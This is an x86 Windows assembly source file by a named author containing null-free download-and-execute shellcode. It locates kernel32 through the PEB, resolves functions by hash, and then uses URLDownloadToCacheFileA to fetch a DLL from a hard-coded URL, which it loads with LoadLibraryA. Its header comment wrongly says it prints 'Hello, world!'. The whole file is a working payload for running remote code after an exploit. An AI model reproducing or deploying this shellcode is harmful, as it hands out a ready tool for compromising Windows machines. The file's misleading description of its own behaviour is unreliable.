; Copyright (c) 2009-2010, Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
; Project homepage: http://code.google.com/p/w32-dl-loadlib-shellcode/
; All rights reserved. See COPYRIGHT.txt for details.
BITS 32
; Windows x86 null-free shellcode that writes "Hello, world!" to stdout.
; Works in any console application for Windows 5.0-7.0 all service packs.
; (See http://skypher.com/wiki/index.php/Hacking/Shellcode).
; This version uses 16-bit hashes.

%define url 'http://skypher.com/dll'
%strlen sizeof_url url

%include 'w32-dl-loadlib-shellcode-hash-list.asm'

%define B2W(b1,b2)                      (((b2) << 8) + (b1))
%define W2DW(w1,w2)                     (((w2) << 16) + (w1))
%define B2DW(b1,b2,b3,b4)               (((b4) << 24) + ((b3) << 16) + ((b2) << 8) + (b1))

%define buffer_size 0x7C

%ifdef STACK_ALIGN
    AND     SP, 0xFFFC
%endif
    MOV     EDI, W2DW(hash_kernel32_LoadLibraryA, hash_urlmon_URLDownloadToCacheFileA)
find_hash: ; Find ntdll's InInitOrder list of modules:
    PUSH    EDI                         ; Stack = (hash, hash) [, &(url), &(LoadLibraryA)]
    XOR     ESI, ESI                    ; ESI = 0
    MOV     ESI, [FS:ESI + 0x30]        ; ESI = &(PEB) ([FS:0x30])
    MOV     ESI, [ESI + 0x0C]           ; ESI = PEB->Ldr
    MOV     ESI, [ESI + 0x1C]           ; ESI = PEB->Ldr.InInitOrder (first module)
next_module: ; Get the baseaddress of the current module and find the next module:
    MOV     EBP, [ESI + 0x08]           ; EBP = InInitOrder[X].base_address
    MOV     ESI, [ESI]                  ; ESI = InInitOrder[X].flink == InInitOrder[X+1]
get_proc_address_loop: ; Find the PE header and export and names tables of the module:
    MOV     EBX, [EBP + 0x3C]           ; EBX = &(PE header)
    MOV     EBX, [EBP + EBX + 0x78]     ; EBX = offset(export table)
    ADD     EBX, EBP                    ; EBX = &(export table)
    MOV     ECX, [EBX + 0x18]           ; ECX = number of name pointers
    JCXZ    next_module                 ; No name pointers? Next module.
next_function_loop: ; Get the next function name for hashing:
    MOV     EDI, [EBX + 0x20]           ; EDI = offset(names table)
    ADD     EDI, EBP                    ; EDI = &(names table)
    MOV     EDI, [EDI + ECX * 4 - 4]    ; EDI = offset(function name)
    ADD     EDI, EBP                    ; EDI = &(function name)
    XOR     EAX, EAX                    ; EAX = 0
    CDQ                                 ; EDX = 0
hash_loop: ; Hash the function name and compare with requested hash
    XOR     DL, [EDI]
    ROR     DX, BYTE hash_ror_value
    SCASB
    JNE     hash_loop
    CMP     DX, [ESP]
    LOOPNE  next_function_loop          ; Not the right hash and functions left in module? Next function
    JNE     next_module                 ; Not the right hash and no functions left in module? Next module
    ; Found the right hash: get the address of the function:
    MOV     EDX, [EBX + 0x24]           ; ESI = offset ordinals table
    ADD     EDX, EBP                    ; ESI = &oridinals table
    MOVZX   EDX, WORD [EDX + 2 * ECX]   ; ESI = ordinal number of function
    MOV     EDI, [EBX + 0x1C]           ; EDI = offset address table
    ADD     EDI, EBP                    ; EDI = &address table
    ADD     EBP, [EDI + 4 * EDX]        ; EBP = &(function)
    ; Move to the next hash, this sets ECX to 0 if there are no more hashes:
    POP     CX                          ; CX = hash | Stack = hash [, &(url), &(LoadLibraryA)]
    POP     CX                          ; CX = hash | Stack = [&(url), &(LoadLibraryA)]
    MOV     AH, 0x1                     ; EAX = 0x100
    JCXZ    download_and_loadlibrary    ; No more hashes
    MOV     EDI, ECX                    ; EDI = hashes
    SUB     ESP, EAX                    ; Stack = buffer (0x100 bytes)
    PUSH    AX                          ; Stack = (0, 1), buffer
    PUSH    B2DW('l', 'm', 'o', 'n')    ; Stack = "lmon", (0, 1), buffer
    PUSH    WORD B2W('u', 'r')          ; Stack = "urlmon", (0, 1), buffer
    PUSH    ESP                         ; Stack = &("urlmon"), "urlmon", (0, 1), buffer
    CALL    EBP                         ; LoadLibraryA("urlmon")
    PUSH    EBP                         ; Stack = &(LoadLibraryA), buffer
    CALL    find_hash                   ; Stack = &(url), &(LoadLibraryA), buffer
    db      url
download_and_loadlibrary:               ; Stack = &(url), &(LoadLibraryA), buffer
    POP     ESI                         ; ESI = &(url)          | Stack = &(LoadLibraryA), buffer
    POP     EDX                         ; EDX = &(LoadLibraryA) | Stack = buffer
    ; Copy url to stack and NULL terminate it:
    MOV     EDI, ESP                    ; EDI = &(buffer)
    PUSH    BYTE sizeof_url             ; 
    POP     ECX                         ; ECX = sizeof(url)
    REP     MOVSB                       ; Stack = url buffer     | EDI = &(buffer)
    STOSB                               ; Stack = url, 0, buffer | EDI = &(buffer)
    MOV     ESI, ESP                    ; ESI = &(url)
    ; Create a ret-into-libc stack chain to make URLDownloadToCacheFileA() return to LoadLibraryA():
                                        ; LoadLibraryA(
    PUSH    EDI                         ;   __in LPCTSTR lpFileName = &(buffer)
    PUSH    ECX                         ; ) return address = NULL
                                        ; URLDownloadToCacheFileA(
    PUSH    ECX                         ;   __in  IBindStatusCallback *pBSC = NULL
    PUSH    ECX                         ;         DWORD dwReserved = NULL
    ; Our buffer is not really 0x100 bytes long anymore because we used part of it to store the URL... oh well.
    PUSH    EAX                         ;   __in  DWORD cchFileName = sizeof(buffer)
    PUSH    EDI                         ;   __out LPTSTR szFileName = &(buffer)
    PUSH    ESI                         ;   __in  LPCSTR szURL = &(url)
    PUSH    ECX                         ;   __in  LPUNKNOWN lpUnkcaller = NULL
    PUSH    EDX                         ; ) return address = LoadLibraryA
    ; Start the ret-into-libc chain:
    JMP     EBP                         ; Jump to URLDownloadToCacheFileA, then return to LoadLibraryA